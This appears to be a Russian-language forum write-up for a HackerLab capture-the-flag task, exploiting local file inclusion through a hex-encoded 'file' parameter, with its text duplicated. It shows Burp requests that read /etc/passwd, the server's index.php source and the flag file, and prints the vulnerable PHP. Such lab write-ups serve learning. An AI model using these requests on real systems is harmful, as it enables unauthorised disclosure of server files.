В некоторых тасках пишется не оформлять райтап на новые задания. Дабы не нарушать концепцию площадки
Так как не увидел данного сообщения, полагаю можно оформить, дабы не нарушать традиции площадки)
После окончания обучения Специалист по тестированию на проникновение в информационные системы (Немножко рекламы) не хватает практики. Начинаем дальше пытаться проходить HackerLab
P.S Попытки типа ../../../../ect/passwd не прокатили
Поехали IP: 62.173.140.174:16081
Как всегда все делаем через наш любимый Burp Pro
1) При открытии видим сайт с pdf файлами, как всегда пробуем потыкать по кнопочкам. Открываются pdf файлы все хорошо и понятно.
2) Откроем код страницы (Нам интересно то, что находится в блоке по файлам.)
3) Через Proxy - Intercep перехватываем действие о скачивании файла
4) Отправляем данный запрос в Repeater для удобства
5) Нам интересен сам запрос GET /index.php?file=67726166696b2d6b7572736f762e706466
Посмотрим на запрос повнимательнее и понимаем, что путь к файлу закодирован, так как не отображается прямым именем PDF.
6) Переходим в Burp Decoder и пытаемся там раздекодить (Можно использовать любые ресурсы)
Подобрали декодировку, ASCII hex
7) Так же помним, что обращение идет к index.php
А как мы помним стандартный адрес файла /var/www/html/index.php
Кодируем наш путь в ASCII hex так же через Burp Decoder
Получаем: 2f7661722f7777772f68746d6c2f696e6465782e706870
P.S Так же для проверки можно закодировать etc/passwd
Скрин с etc/passwd
Скрин с /var/www/html/index.php
8) Просматриваем код выданной страницы, (понимаем, что не ошиблись и имена кодируются в hex)
Разберем код ниже
В данном блоке формируется hex строки
<?php
function str_to_hex($str) {
return bin2hex($str);
}
function hex_to_str($hex) {
return hex2bin($hex);
}
В данном блоке находятся имена файлов php, txt, pdf
// $php_files = array_slice(['test.php', 'index.php'], 0, 2);
// $txt_files = array_slice(['test.txt', 'flag_for_hackerlab_ctfplayers.txt'], 0, 2); // Moved to upper directory (Подсказка, файл находится в директории выше)
$pdf_files = array_slice(['grafik-kursov.pdf', 'roadmap-v3.pdf'], 0, 2);
if (isset($_GET['file'])) {
$filename = hex_to_str($_GET['file']);
if ($filename && file_exists($filename)) {
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="' . basename($filename) . '"');
readfile($filename);
exit;
} else {
http_response_code(404);
echo "Файл не найден";
exit;
}
}
9) Осталось дело за малым.
Формируем запрос /var/www/flag_for_hackerlab_ctfplayers.txt
Кодируем его в hex через Burp Decoder 2f7661722f7777772f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874
Отправляем запрос в репитер GET /index.php?file=2f7661722f7777772f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874
10) Получаем флаг.
Уязвимость LFI
Всем спасибо
Критика принимается
)))
и по традиции
«Не стыдно не знать, стыдно не учиться» — русская пословица.
Так как не увидел данного сообщения, полагаю можно оформить, дабы не нарушать традиции площадки)
После окончания обучения Специалист по тестированию на проникновение в информационные системы (Немножко рекламы) не хватает практики. Начинаем дальше пытаться проходить HackerLab
P.S Попытки типа ../../../../ect/passwd не прокатили
Поехали IP: 62.173.140.174:16081
Как всегда все делаем через наш любимый Burp Pro
1) При открытии видим сайт с pdf файлами, как всегда пробуем потыкать по кнопочкам. Открываются pdf файлы все хорошо и понятно.
2) Откроем код страницы (Нам интересно то, что находится в блоке по файлам.)
3) Через Proxy - Intercep перехватываем действие о скачивании файла
4) Отправляем данный запрос в Repeater для удобства
5) Нам интересен сам запрос GET /index.php?file=67726166696b2d6b7572736f762e706466
Посмотрим на запрос повнимательнее и понимаем, что путь к файлу закодирован, так как не отображается прямым именем PDF.
6) Переходим в Burp Decoder и пытаемся там раздекодить (Можно использовать любые ресурсы)
Подобрали декодировку, ASCII hex
7) Так же помним, что обращение идет к index.php
А как мы помним стандартный адрес файла /var/www/html/index.php
Кодируем наш путь в ASCII hex так же через Burp Decoder
Получаем: 2f7661722f7777772f68746d6c2f696e6465782e706870
P.S Так же для проверки можно закодировать etc/passwd
Скрин с etc/passwd
Скрин с /var/www/html/index.php
8) Просматриваем код выданной страницы, (понимаем, что не ошиблись и имена кодируются в hex)
Разберем код ниже
В данном блоке формируется hex строки
<?php
function str_to_hex($str) {
return bin2hex($str);
}
function hex_to_str($hex) {
return hex2bin($hex);
}
В данном блоке находятся имена файлов php, txt, pdf
// $php_files = array_slice(['test.php', 'index.php'], 0, 2);
// $txt_files = array_slice(['test.txt', 'flag_for_hackerlab_ctfplayers.txt'], 0, 2); // Moved to upper directory (Подсказка, файл находится в директории выше)
$pdf_files = array_slice(['grafik-kursov.pdf', 'roadmap-v3.pdf'], 0, 2);
В данном блоке понятно, что если не закодировано в get запросе, выводить echo "Файл не найден";if (isset($_GET['file'])) {
$filename = hex_to_str($_GET['file']);
if ($filename && file_exists($filename)) {
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="' . basename($filename) . '"');
readfile($filename);
exit;
} else {
http_response_code(404);
echo "Файл не найден";
exit;
}
}
9) Осталось дело за малым.
Формируем запрос /var/www/flag_for_hackerlab_ctfplayers.txt
Кодируем его в hex через Burp Decoder 2f7661722f7777772f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874
Отправляем запрос в репитер GET /index.php?file=2f7661722f7777772f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874
10) Получаем флаг.
Уязвимость LFI
Всем спасибо
Критика принимается

и по традиции
«Не стыдно не знать, стыдно не учиться» — русская пословица.
Последнее редактирование: